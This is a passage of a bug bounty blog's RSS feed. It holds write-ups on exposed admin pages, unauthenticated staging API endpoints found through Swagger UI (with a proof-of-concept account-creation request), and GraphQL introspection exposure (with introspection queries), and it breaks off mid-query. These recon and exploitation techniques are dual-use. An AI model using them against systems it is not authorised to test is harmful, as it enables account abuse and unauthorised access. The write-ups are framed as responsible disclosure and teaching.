<p data-start="6824" data-end="6936"><strong data-start="6824" data-end="6850">Use Parameter Fuzzing:</strong><br data-start="6850" data-end="6853" />Tools like <strong data-start="6867" data-end="6875">FFUF</strong> or <strong data-start="6879" data-end="6894">ParamSpider</strong> can uncover hidden GET/POST parameters.</p>
</li>
<li data-start="6938" data-end="7050">
<p data-start="6941" data-end="7050"><strong data-start="6941" data-end="6966">Leverage Archive.org:</strong><br data-start="6966" data-end="6969" />Old versions of the site might reveal outdated admin endpoints still active.</p>
</li>
<li data-start="7052" data-end="7187">
<p data-start="7055" data-end="7187"><strong data-start="7055" data-end="7089">Combine OSINT with Burp Suite:</strong><br data-start="7089" data-end="7092" />Once you find a candidate endpoint, proxy requests through Burp to manipulate and observe.</p>
</li>
</ol>
<hr data-start="7189" data-end="7192" />
<h2 data-start="7194" data-end="7217"><strong data-start="7197" data-end="7215">Final Thoughts</strong></h2>
<p data-start="7219" data-end="7386">Finding <strong data-start="7227" data-end="7265">unauthorized access to admin pages</strong> is like stumbling upon the keys to a locked building — except this one controls sensitive data for thousands of users.</p>
<p data-start="7388" data-end="7423">This case reinforced for me that:</p>
<ul data-start="7424" data-end="7582">
<li data-start="7424" data-end="7480">
<p data-start="7426" data-end="7480">Even “hidden” endpoints are not safe if left online.</p>
</li>
<li data-start="7481" data-end="7541">
<p data-start="7483" data-end="7541">Admin tools must always be behind strong authentication.</p>
</li>
<li data-start="7542" data-end="7582">
<p data-start="7544" data-end="7582">Recon + patience = high impact bugs.</p>
</li>
</ul>
<p data-start="7584" data-end="7739">For every hunter reading this: <strong data-start="7615" data-end="7702">don’t just look for obvious login pages — dig deeper for forgotten admin functions.</strong> They’re often where the gold lies.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/unauthorized-access-to-admin-pages-2/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">505</post-id>	</item>
		<item>
		<title>How I Discovered an API Security Vulnerability in a Staging Environment (and What You Can Learn from It)</title>
		<link>https://hackersatty.com/how-i-discovered-an-api-security-vulnerability-in-a-staging-environment-and-what-you-can-learn-from-it/</link>
					<comments>https://hackersatty.com/how-i-discovered-an-api-security-vulnerability-in-a-staging-environment-and-what-you-can-learn-from-it/#respond</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Mon, 11 Aug 2025 19:35:42 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=503</guid>

					<description><![CDATA[About Me I’m Satyam Pawale, better known in the bug bounty world as @hackersatty. I started my bug hunting journey in 2024, and since then, I’ve been deeply passionate about &#8230; <a href="https://hackersatty.com/how-i-discovered-an-api-security-vulnerability-in-a-staging-environment-and-what-you-can-learn-from-it/" class="more-link">Read More</a>]]></description>
										<content:encoded><![CDATA[<h2 data-start="913" data-end="930"><strong data-start="916" data-end="928">About Me</strong></h2>
<p data-start="932" data-end="1310">I’m <strong data-start="936" data-end="953">Satyam Pawale</strong>, better known in the bug bounty world as <strong data-start="995" data-end="1011">@hackersatty</strong>. I started my bug hunting journey in 2024, and since then, I’ve been deeply passionate about uncovering security flaws that others might overlook. My style of hunting is a mix of <strong data-start="1191" data-end="1212">manual creativity</strong> and <strong data-start="1217" data-end="1240">technical precision</strong>, which often helps me find vulnerabilities in places others ignore.</p>
<p data-start="1312" data-end="1450">My toolkit includes <strong data-start="1332" data-end="1346">Burp Suite</strong>, <strong data-start="1348" data-end="1359">Postman</strong>, <strong data-start="1361" data-end="1379">custom scripts</strong>, and plenty of <strong data-start="1395" data-end="1411">Google Dorks</strong> — but my main weapon is <em data-start="1436" data-end="1447">curiosity</em>.</p>
<p data-start="1452" data-end="1705">This blog is about how I found a <strong data-start="1485" data-end="1524">critical API security vulnerability</strong> in a staging environment. I’ll take you through <strong data-start="1573" data-end="1607">the exact step-by-step process</strong>, from spotting the Swagger UI to crafting the proof of concept. By the end, you’ll know how to:</p>
<ul data-start="1707" data-end="1806">
<li data-start="1707" data-end="1733">
<p data-start="1709" data-end="1733">Identify exposed APIs.</p>
</li>
<li data-start="1734" data-end="1755">
<p data-start="1736" data-end="1755">Test them safely.</p>
</li>
<li data-start="1756" data-end="1806">
<p data-start="1758" data-end="1806">Report them professionally for maximum impact.</p>
</li>
<li data-start="1756" data-end="1806">
<h3><strong><a href="https://hackersatty.com/wildcard-bug-bounty-methodology/">PAID VULNERABILITIES</a></strong></h3>
</li>
</ul>
<hr data-start="1808" data-end="1811" />
<h2 data-start="1813" data-end="1881"><strong data-start="1816" data-end="1879">Introduction: Why APIs Are a Treasure Trove for Bug Hunters</strong></h2>
<p data-start="1883" data-end="2076">When people talk about bug bounty hunting, they often think of XSS, SQLi, or CSRF. But in the modern web, <strong data-start="1989" data-end="1997">APIs</strong> (Application Programming Interfaces) are one of the richest attack surfaces.</p>
<p data-start="2078" data-end="2084">Why?</p>
<ul data-start="2085" data-end="2315">
<li data-start="2085" data-end="2149">
<p data-start="2087" data-end="2149">APIs handle direct requests from clients to backend systems.</p>
</li>
<li data-start="2150" data-end="2234">
<p data-start="2152" data-end="2234">Many APIs are <strong data-start="2166" data-end="2183">under-secured</strong> because developers focus on functionality first.</p>
</li>
<li data-start="2235" data-end="2315">
<p data-start="2237" data-end="2315">Staging APIs are often <strong data-start="2260" data-end="2278">less monitored</strong>, yet connected to production data.</p>
</li>
</ul>
<p data-start="2317" data-end="2507">In this case, I found an <strong data-start="2342" data-end="2372">API Security Vulnerability</strong> that allowed <strong data-start="2386" data-end="2448">account creation and password reset without authentication</strong> — a bug that could have led to serious damage if abused.</p>
<hr data-start="2509" data-end="2512" />
<h2 data-start="2514" data-end="2581"><strong data-start="2517" data-end="2579">Step 1 – The Discovery: How I Stumbled Upon the Swagger UI</strong></h2>
<p data-start="2583" data-end="2646">It all started when I was testing a program’s staging domain:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">staging-api.example.com<br />
</code></div>
</div>
<p data-start="2683" data-end="2784">I wasn’t expecting much — many staging environments are dead. But I always follow this golden rule:</p>
<blockquote data-start="2786" data-end="2830">
<p data-start="2788" data-end="2830">“If it’s in scope, it’s worth checking.”</p>
</blockquote>
<p data-start="2832" data-end="2929">I typed the URL in my browser, and to my surprise, instead of a blank page or 403 error, I saw:</p>
<p data-start="2931" data-end="2985"><strong data-start="2931" data-end="2945">Swagger UI</strong> — a graphical API documentation tool.</p>
<p data-start="2987" data-end="3028">![Swagger UI Example Image Placeholder]</p>
<p data-start="3030" data-end="3192">Now, Swagger UI is not bad in itself. In fact, it’s meant to help developers test their APIs easily. But in the wrong hands, it can become a <strong data-start="3171" data-end="3189">recon goldmine</strong>.</p>
<hr data-start="3194" data-end="3197" />
<h2 data-start="3199" data-end="3253"><strong data-start="3202" data-end="3251">Step 2 – Reading the API Endpoints Like a Map</strong></h2>
<p data-start="3255" data-end="3341">When I opened the Swagger interface, I saw multiple endpoints under categories like:</p>
<ul data-start="3343" data-end="3428">
<li data-start="3343" data-end="3365">
<p data-start="3345" data-end="3365"><code data-start="3345" data-end="3363">/User/createUser</code></p>
</li>
<li data-start="3366" data-end="3391">
<p data-start="3368" data-end="3391"><code data-start="3368" data-end="3389">/User/resetPassword</code></p>
</li>
<li data-start="3392" data-end="3428">
<p data-start="3394" data-end="3428"><code data-start="3394" data-end="3426">/Application/createApplication</code></p>
</li>
</ul>
<p data-start="3430" data-end="3463">And here’s where my brain went:</p>
<ul data-start="3465" data-end="3678">
<li data-start="3465" data-end="3535">
<p data-start="3467" data-end="3535"><strong data-start="3467" data-end="3506">Create User without authentication?</strong> Could be account spamming.</p>
</li>
<li data-start="3536" data-end="3606">
<p data-start="3538" data-end="3606"><strong data-start="3538" data-end="3571">Reset Password without login?</strong> That’s instant account takeover.</p>
</li>
<li data-start="3607" data-end="3678">
<p data-start="3609" data-end="3678"><strong data-start="3609" data-end="3632">Create Application?</strong> Might lead to abuse or resource exhaustion.</p>
</li>
</ul>
<hr data-start="3680" data-end="3683" />
<h2 data-start="3685" data-end="3735"><strong data-start="3688" data-end="3733">Step 3 – Testing the Create User Endpoint</strong></h2>
<p data-start="3737" data-end="3878">Swagger allows you to send requests directly from its interface. I clicked on <strong data-start="3815" data-end="3835">/User/createUser</strong>, and it showed me the parameters needed:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-json"><span class="hljs-punctuation">{</span><br />
  <span class="hljs-attr">"email"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"user@example.com"</span><span class="hljs-punctuation">,</span><br />
  <span class="hljs-attr">"password"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"Test@123"</span><span class="hljs-punctuation">,</span><br />
  <span class="hljs-attr">"firstName"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"Example"</span><span class="hljs-punctuation">,</span><br />
  <span class="hljs-attr">"lastName"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"User"</span><span class="hljs-punctuation">,</span><br />
  <span class="hljs-attr">"birthdate"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"2000-01-01"</span><span class="hljs-punctuation">,</span><br />
  <span class="hljs-attr">"newsletter"</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><br />
<span class="hljs-punctuation">}</span><br />
</code></div>
</div>
<p data-start="4054" data-end="4102">I filled in my test email and hit <strong data-start="4088" data-end="4099">Execute</strong>.</p>
<p data-start="4104" data-end="4252">To my surprise, I got a <strong data-start="4128" data-end="4138">200 OK</strong> response and a message saying <strong data-start="4169" data-end="4200">&#8220;User created successfully&#8221;</strong> — all without logging in or providing an API key.</p>
<hr data-start="4254" data-end="4257" />
<h2 data-start="4259" data-end="4297"><strong data-start="4262" data-end="4295">Step 4 – Realising the Impact</strong></h2>
<p data-start="4299" data-end="4402">At this point, I knew I had found something serious. This <strong data-start="4357" data-end="4387">API Security Vulnerability</strong> could allow:</p>
<ol data-start="4404" data-end="4956">
<li data-start="4404" data-end="4547">
<p data-start="4407" data-end="4547"><strong data-start="4407" data-end="4433">Mass Account Creation:</strong><br data-start="4433" data-end="4436" />An attacker could flood the system with fake accounts, possibly causing outages or messing with analytics.</p>
</li>
<li data-start="4549" data-end="4674">
<p data-start="4552" data-end="4674"><strong data-start="4552" data-end="4584">Credential Stuffing Support:</strong><br data-start="4584" data-end="4587" />If password reset endpoints were also unauthenticated, accounts could be hijacked.</p>
</li>
<li data-start="4676" data-end="4797">
<p data-start="4679" data-end="4797"><strong data-start="4679" data-end="4704">Privilege Escalation:</strong><br data-start="4704" data-end="4707" />If new accounts had unintended access, the attacker could directly reach admin areas.</p>
</li>
<li data-start="4799" data-end="4956">
<p data-start="4802" data-end="4956"><strong data-start="4802" data-end="4833">Staging-to-Production Risk:</strong><br data-start="4833" data-end="4836" />If staging shared databases with production (a common misconfiguration), this could directly compromise real users.</p>
</li>
</ol>
<hr data-start="4958" data-end="4961" />
<h2 data-start="4963" data-end="4999"><strong data-start="4966" data-end="4997">Step 5 – Expanding the Test</strong></h2>
<p data-start="5001" data-end="5052">After creating a user, I checked other endpoints:</p>
<ul data-start="5054" data-end="5213">
<li data-start="5054" data-end="5135">
<p data-start="5056" data-end="5135"><code data-start="5056" data-end="5077">/User/resetPassword</code> — It let me request password resets without logging in.</p>
</li>
<li data-start="5136" data-end="5213">
<p data-start="5138" data-end="5213"><code data-start="5138" data-end="5170">/Application/createApplication</code> — Could create resources without checks.</p>
</li>
</ul>
<p data-start="5215" data-end="5296">This confirmed a <strong data-start="5232" data-end="5293">lack of authentication across multiple critical endpoints</strong>.</p>
<hr data-start="5298" data-end="5301" />
<h2 data-start="5303" data-end="5350"><strong data-start="5306" data-end="5348">Step 6 – How This Happens in Real Life</strong></h2>
<p data-start="5352" data-end="5393">This is actually common in development:</p>
<ul data-start="5395" data-end="5625">
<li data-start="5395" data-end="5471">
<p data-start="5397" data-end="5471"><strong data-start="5397" data-end="5445">Developers disable authentication in staging</strong> to make testing easier.</p>
</li>
<li data-start="5472" data-end="5537">
<p data-start="5474" data-end="5537">They forget to secure Swagger UI or block it from the public.</p>
</li>
<li data-start="5538" data-end="5625">
<p data-start="5540" data-end="5625">The staging environment is left online, sometimes even pointing to production data.</p>
</li>
</ul>
<p data-start="5627" data-end="5669">For attackers, this is a dream scenario.</p>
<hr data-start="5671" data-end="5674" />
<h2 data-start="5676" data-end="5716"><strong data-start="5679" data-end="5714">Step 7 – Proof of Concept (PoC)</strong></h2>
<p data-start="5718" data-end="5803">Here’s the <strong data-start="5729" data-end="5751">exact POST request</strong> (with safe dummy data) that demonstrated the bug:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-http">POST /User/createUser HTTP/1.1<br />
Host: staging-api.example.com<br />
Content-Type: application/json</p>
<p>{<br />
  "email": "hacker@bugbounty.com",<br />
  "password": "SecurePass@123",<br />
  "firstName": "Hack",<br />
  "lastName": "Er",<br />
  "birthdate": "1995-05-05",<br />
  "newsletter": false<br />
}<br />
</code></div>
</div>
<p data-start="6078" data-end="6089">Response:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-json"><span class="hljs-punctuation">{</span><br />
  <span class="hljs-attr">"message"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"User created successfully"</span><span class="hljs-punctuation">,</span><br />
  <span class="hljs-attr">"status"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"OK"</span><br />
<span class="hljs-punctuation">}</span><br />
</code></div>
</div>
<p data-start="6169" data-end="6217">No authentication headers. No security checks.</p>
<hr data-start="6219" data-end="6222" />
<h2 data-start="6224" data-end="6259"><strong data-start="6227" data-end="6257">Step 8 – Reporting the Bug</strong></h2>
<p data-start="6261" data-end="6309">I wrote my report with the following sections:</p>
<ol data-start="6311" data-end="6818">
<li data-start="6311" data-end="6425">
<p data-start="6314" data-end="6425"><strong data-start="6314" data-end="6324">Title:</strong> Unauthenticated API endpoints in staging environment allowing account creation and password reset.</p>
</li>
<li data-start="6426" data-end="6526">
<p data-start="6429" data-end="6526"><strong data-start="6429" data-end="6445">Description:</strong> Explained what I found, how it could be abused, and potential business impact.</p>
</li>
<li data-start="6527" data-end="6577">
<p data-start="6530" data-end="6577"><strong data-start="6530" data-end="6553">Steps to Reproduce:</strong> Detailed each action.</p>
</li>
<li data-start="6578" data-end="6630">
<p data-start="6581" data-end="6630"><strong data-start="6581" data-end="6589">PoC:</strong> Included exact requests and responses.</p>
</li>
<li data-start="6631" data-end="6725">
<p data-start="6634" data-end="6725"><strong data-start="6634" data-end="6645">Impact:</strong> Account creation spam, account takeover risk, possible production compromise.</p>
</li>
<li data-start="6726" data-end="6818">
<p data-start="6729" data-end="6818"><strong data-start="6729" data-end="6749">Recommendations:</strong> Secure all endpoints, restrict Swagger UI, run regular API audits.</p>
</li>
</ol>
<hr data-start="6820" data-end="6823" />
<h2 data-start="6825" data-end="6858"><strong data-start="6828" data-end="6856">Step 9 – Company’s Fixes</strong></h2>
<p data-start="6860" data-end="6892">The company responded quickly:</p>
<ul data-start="6894" data-end="7056">
<li data-start="6894" data-end="6950">
<p data-start="6896" data-end="6950"><strong data-start="6896" data-end="6920">Authentication added</strong> to all sensitive endpoints.</p>
</li>
<li data-start="6951" data-end="7000">
<p data-start="6953" data-end="7000"><strong data-start="6953" data-end="6978">Swagger UI restricted</strong> to internal access.</p>
</li>
<li data-start="7001" data-end="7056">
<p data-start="7003" data-end="7056"><strong data-start="7003" data-end="7022">Security review</strong> conducted for all staging APIs.</p>
</li>
</ul>
<hr data-start="7058" data-end="7061" />
<h2 data-start="7063" data-end="7103"><strong data-start="7066" data-end="7101">Step 10 – Lessons You Can Apply</strong></h2>
<p data-start="7105" data-end="7142">Here’s what I want you to remember:</p>
<ul data-start="7144" data-end="7412">
<li data-start="7144" data-end="7206">
<p data-start="7146" data-end="7206"><strong data-start="7146" data-end="7164">Staging ≠ Safe</strong> — Always treat staging like production.</p>
</li>
<li data-start="7207" data-end="7254">
<p data-start="7209" data-end="7254"><strong data-start="7209" data-end="7223">Swagger UI</strong> can leak critical endpoints.</p>
</li>
<li data-start="7255" data-end="7315">
<p data-start="7257" data-end="7315"><strong data-start="7257" data-end="7293">Authentication is non-negotiable</strong> for sensitive APIs.</p>
</li>
<li data-start="7316" data-end="7412">
<p data-start="7318" data-end="7412"><strong data-start="7318" data-end="7336">Automate recon</strong> to detect open Swagger UIs (hint: Shodan dork <code data-start="7383" data-end="7408">http.title:"Swagger UI"</code>).</p>
</li>
</ul>
<hr data-start="7414" data-end="7417" />
<h2 data-start="7419" data-end="7468"><strong data-start="7422" data-end="7466">Pro Tips for Finding API Bugs (Advanced)</strong></h2>
<ol data-start="7470" data-end="7830">
<li data-start="7470" data-end="7565">
<p data-start="7473" data-end="7565"><strong data-start="7473" data-end="7507">Look for Keywords in JS Files:</strong><br data-start="7507" data-end="7510" /><code data-start="7513" data-end="7522">api_key</code>, <code data-start="7524" data-end="7531">token</code>, <code data-start="7533" data-end="7539">auth</code> often reveal endpoints.</p>
</li>
<li data-start="7567" data-end="7638">
<p data-start="7570" data-end="7638"><strong data-start="7570" data-end="7596">Wayback Machine Recon:</strong><br data-start="7596" data-end="7599" />Old API docs sometimes still work.</p>
</li>
<li data-start="7640" data-end="7729">
<p data-start="7643" data-end="7729"><strong data-start="7643" data-end="7673">Check CORS Configurations:</strong><br data-start="7673" data-end="7676" />Misconfigured CORS + open API = easy data theft.</p>
</li>
<li data-start="7731" data-end="7830">
<p data-start="7734" data-end="7830"><strong data-start="7734" data-end="7761">Subdomain Permutations:</strong><br data-start="7761" data-end="7764" />If <code data-start="7770" data-end="7783">staging-api</code> exists, try <code data-start="7796" data-end="7805">dev-api</code>, <code data-start="7807" data-end="7817">beta-api</code>, <code data-start="7819" data-end="7827">qa-api</code>.</p>
</li>
</ol>
<hr data-start="7832" data-end="7835" />
<h2 data-start="7837" data-end="7876"><strong data-start="7840" data-end="7874">Coming Soon on Hackersatty.com</strong></h2>
<p data-start="7878" data-end="7917">For premium readers, I’ll be sharing:</p>
<ul data-start="7919" data-end="8049">
<li data-start="7919" data-end="7964">
<p data-start="7921" data-end="7964"><strong data-start="7921" data-end="7962">Custom Google Dorks for API discovery</strong></p>
</li>
<li data-start="7965" data-end="8005">
<p data-start="7967" data-end="8005"><strong data-start="7967" data-end="8003">My personal API recon cheatsheet</strong></p>
</li>
<li data-start="8006" data-end="8049">
<p data-start="8008" data-end="8049"><strong data-start="8008" data-end="8047">Swagger UI exploitation methodology</strong></p>
</li>
</ul>
<p data-start="8051" data-end="8103">Stay tuned — these will be members-only resources.</p>
<hr data-start="8105" data-end="8108" />
<h2 data-start="8110" data-end="8133"><strong data-start="8113" data-end="8131">Final Thoughts</strong></h2>
<p data-start="8135" data-end="8224">Finding this <strong data-start="8148" data-end="8178">API Security Vulnerability</strong> was a huge learning moment. It proved that:</p>
<ul data-start="8226" data-end="8373">
<li data-start="8226" data-end="8249">
<p data-start="8228" data-end="8249">Curiosity pays off.</p>
</li>
<li data-start="8250" data-end="8322">
<p data-start="8252" data-end="8322">Staging environments can be as dangerous as production if left open.</p>
</li>
<li data-start="8323" data-end="8373">
<p data-start="8325" data-end="8373">Even simple tests can reveal high-impact bugs.</p>
</li>
</ul>
<p data-start="8375" data-end="8430">If you take one thing from this blog, let it be this:</p>
<blockquote data-start="8431" data-end="8503">
<p data-start="8433" data-end="8503">“Never ignore staging. Sometimes, it’s the backdoor to the kingdom.”</p>
</blockquote>
<p data-start="8505" data-end="8542"><strong>Until next time — happy hunting! 😊</strong></p>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/how-i-discovered-an-api-security-vulnerability-in-a-staging-environment-and-what-you-can-learn-from-it/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">503</post-id>	</item>
		<item>
		<title>GraphQL Introspection Exposure: The 1 Hidden Blueprint That Could Undermine Your Entire Backend</title>
		<link>https://hackersatty.com/graphql-introspection-exposure/</link>
					<comments>https://hackersatty.com/graphql-introspection-exposure/#respond</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Thu, 07 Aug 2025 15:39:44 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=492</guid>

					<description><![CDATA[About Me I’m Satyam Pawale, better known in the bug bounty world as @hackersatty. As a dedicated security researcher, I specialize in uncovering complex misconfigurations and information disclosures—especially in web &#8230; <a href="https://hackersatty.com/graphql-introspection-exposure/" class="more-link">Read More</a>]]></description>
										<content:encoded><![CDATA[<h2 data-start="591" data-end="602">About Me</h2>
<p data-start="604" data-end="874">I’m <strong data-start="608" data-end="625">Satyam Pawale</strong>, better known in the bug bounty world as <a class="" href="https://hackersatty.com" target="_new" rel="noopener" data-start="667" data-end="706">@hackersatty</a>. As a dedicated security researcher, I specialize in uncovering complex misconfigurations and information disclosures—especially in web servers and directory services.</p>
<p data-start="876" data-end="979">My toolkit includes <strong data-start="896" data-end="906">Shodan</strong>, <strong data-start="908" data-end="922">Burp Suite</strong>, custom scripts, and creative reconnaissance techniques.</p>
<p data-start="981" data-end="1212">In this article, I’ll guide you through the discovery and exploitation of a <strong data-start="1057" data-end="1091">GraphQL introspection exposure</strong> vulnerability—so you can sharpen your bug bounty skills and better secure GraphQL-based APIs in production environments.</p>
<h2 data-start="2044" data-end="2062">Introduction</h2>
<p data-start="2064" data-end="2228">Graphql introspection exposure is revolutionizing API design by allowing clients to request exactly what they need and nothing more. But with great flexibility comes great responsibility.</p>
<p data-start="2230" data-end="2368">One of the most <strong data-start="2246" data-end="2292">overlooked yet dangerous misconfigurations</strong> in GraphQL is <strong data-start="2307" data-end="2367">leaving introspection enabled in production environments</strong>.</p>
<p data-start="2370" data-end="2562">If attackers can query your schema structure without any authentication, they’re holding a <strong data-start="2461" data-end="2490">blueprint of your backend</strong>, including sensitive endpoints, user object fields, and internal logic.</p>
<p data-start="2564" data-end="2716">This post dives deep into how I discovered such an exposure on <code data-start="2627" data-end="2659">hackersattybugs.online/graphql</code>, what I found inside, and how you can protect your APIs.</p>
<hr data-start="2718" data-end="2721" />
<h2 data-start="2723" data-end="2759">What is GraphQL Introspection?</h2>
<p data-start="2761" data-end="2893">GraphQL introspection is a <strong data-start="2788" data-end="2816">self-documenting feature</strong> that allows developers and clients to ask a GraphQL server about its schema.</p>
<h3 data-start="2895" data-end="2939">Common introspection queries can return:</h3>
<ul data-start="2940" data-end="3097">
<li data-start="2940" data-end="2968">
<p data-start="2942" data-end="2968">All types and their fields</p>
</li>
<li data-start="2969" data-end="3002">
<p data-start="2971" data-end="3002">Available queries and mutations</p>
</li>
<li data-start="3003" data-end="3047">
<p data-start="3005" data-end="3047">Nested relationships and object structures</p>
</li>
<li data-start="3048" data-end="3097">
<p data-start="3050" data-end="3097">Custom directives and authentication mechanisms</p>
</li>
</ul>
<p data-start="3099" data-end="3256">This is <strong data-start="3107" data-end="3132">great for development</strong> and tools like GraphiQL or Apollo Studio—but in production, it becomes a <strong data-start="3206" data-end="3255">critical information disclosure vulnerability</strong>.</p>
<hr data-start="3258" data-end="3261" />
<h2 data-start="3263" data-end="3306">Why Introspection Shouldn’t Be Public</h2>
<p data-start="3308" data-end="3482">According to <a class="cursor-pointer" target="_new" rel="noopener" data-start="3321" data-end="3377">OWASP</a>, <strong data-start="3379" data-end="3481">unauthenticated introspection is equivalent to handing over your entire backend map to an attacker</strong>.</p>
<p data-start="3484" data-end="3524">Even without credentials, attackers can:</p>
<ul data-start="3525" data-end="3725">
<li data-start="3525" data-end="3558">
<p data-start="3527" data-end="3558">Enumerate all API functionality</p>
</li>
<li data-start="3559" data-end="3624">
<p data-start="3561" data-end="3624">Identify sensitive objects (like <code data-start="3594" data-end="3600">User</code>, <code data-start="3602" data-end="3609">Token</code>, <code data-start="3611" data-end="3623">AdminPanel</code>)</p>
</li>
<li data-start="3625" data-end="3676">
<p data-start="3627" data-end="3676">Prepare precise injection or manipulation attacks</p>
</li>
<li data-start="3677" data-end="3725">
<p data-start="3679" data-end="3725">Target misconfigured or undocumented endpoints</p>
</li>
</ul>
<p data-start="3727" data-end="3823">In many cases, introspection is the <strong data-start="3763" data-end="3817">first step toward chaining bigger GraphQL exploits</strong> like:</p>
<ul data-start="3825" data-end="3943">
<li data-start="3825" data-end="3850">
<p data-start="3827" data-end="3850">Bypassing authorization</p>
</li>
<li data-start="3851" data-end="3884">
<p data-start="3853" data-end="3884">Performing privilege escalation</p>
</li>
<li data-start="3885" data-end="3943">
<p data-start="3887" data-end="3943">Triggering denial of service with complex nested queries</p>
</li>
</ul>
<hr data-start="3945" data-end="3948" />
<h2 data-start="3950" data-end="3991">Discovery on hackersattybugs.online</h2>
<p data-start="3993" data-end="4163">While manually reviewing assets under the target scope, I came across a <strong data-start="4065" data-end="4094">public configuration file</strong> that listed internal services and base URLs. One of them pointed to:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">https:<span class="hljs-comment">//graphql.hackersattybugs.online/graphql</span><br />
</code></div>
</div>
<p data-start="4221" data-end="4330">I loaded this endpoint in Postman and tried a basic introspection query <strong data-start="4293" data-end="4329">without any authentication token</strong>.</p>
<p data-start="4332" data-end="4387">To my surprise—it responded with the <strong data-start="4369" data-end="4386">entire schema</strong>.</p>
<p data-start="4389" data-end="4433">That’s when I knew this was a serious issue.</p>
<hr data-start="4435" data-end="4438" />
<h2 data-start="4440" data-end="4471">Step-by-Step Exploitation</h2>
<p data-start="4473" data-end="4547">Here’s how I confirmed the introspection exposure and explored the schema:</p>
<h3 data-start="4549" data-end="4579">Step 1: Basic Schema Query</h3>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-graphql"><span class="hljs-punctuation">{</span><br />
__schema <span class="hljs-punctuation">{</span><br />
types <span class="hljs-punctuation">{</span><br />
name<br />
fields <span class="hljs-punctuation">{</span><br />
name<br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">}</span><br />
</code></div>
</div>
<p data-start="4682" data-end="4766"><strong data-start="4682" data-end="4695">Response:</strong> A complete dump of all types, objects, and fields used in the backend.</p>
<hr data-start="4768" data-end="4771" />
<h3 data-start="4773" data-end="4809">Step 2: Discover Sensitive Types</h3>
<p data-start="4811" data-end="4852">I looked for common sensitive types like:</p>
<ul data-start="4853" data-end="4922">
<li data-start="4853" data-end="4861">
<p data-start="4855" data-end="4861"><code data-start="4855" data-end="4861">User</code></p>
</li>
<li data-start="4862" data-end="4873">
<p data-start="4864" data-end="4873"><code data-start="4864" data-end="4873">Session</code></p>
</li>
<li data-start="4874" data-end="4889">
<p data-start="4876" data-end="4889"><code data-start="4876" data-end="4889">AdminConfig</code></p>
</li>
<li data-start="4890" data-end="4905">
<p data-start="4892" data-end="4905"><code data-start="4892" data-end="4905">AccessToken</code></p>
</li>
<li data-start="4906" data-end="4922">
<p data-start="4908" data-end="4922"><code data-start="4908" data-end="4922">FileMetadata</code></p>
</li>
</ul>
<p data-start="4924" data-end="4982">And yes, I found all of them — completely unauthenticated.</p>
<figure id="attachment_493" aria-describedby="caption-attachment-493" style="width: 1024px" class="wp-caption alignnone"><img decoding="async" class="wp-image-493 size-large" src="https://hackersatty.com/wp-content/uploads/2025/08/2-1024x542.png" alt="GraphQL introspection exposure revealing sensitive internal schema data in an API vulnerability scenario." width="1024" height="542" title="GraphQL Introspection Exposure: The 1 Hidden Blueprint That Could Undermine Your Entire Backend 4" srcset="https://hackersatty.com/wp-content/uploads/2025/08/2-1024x542.png 1024w, https://hackersatty.com/wp-content/uploads/2025/08/2-300x159.png 300w, https://hackersatty.com/wp-content/uploads/2025/08/2-768x406.png 768w, https://hackersatty.com/wp-content/uploads/2025/08/2-1536x812.png 1536w, https://hackersatty.com/wp-content/uploads/2025/08/2-1320x698.png 1320w, https://hackersatty.com/wp-content/uploads/2025/08/2-600x317.png 600w, https://hackersatty.com/wp-content/uploads/2025/08/2.png 1919w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-493" class="wp-caption-text">Visual representation of a GraphQL introspection exposure discovered during a bug bounty assessment.</figcaption></figure>
<hr data-start="4984" data-end="4987" />
<h3 data-start="4989" data-end="5026">Step 3: Explore Available Queries</h3>
<p data-start="5028" data-end="5047">Using this payload:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-graphql"><span class="hljs-punctuation">{</span><br />
__schema <span class="hljs-punctuation">{</span><br />
queryType <span class="hljs-punctuation">{</span><br />
fields <span class="hljs-punctuation">{</span><br />
name<br />
description<br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">}</span><br />
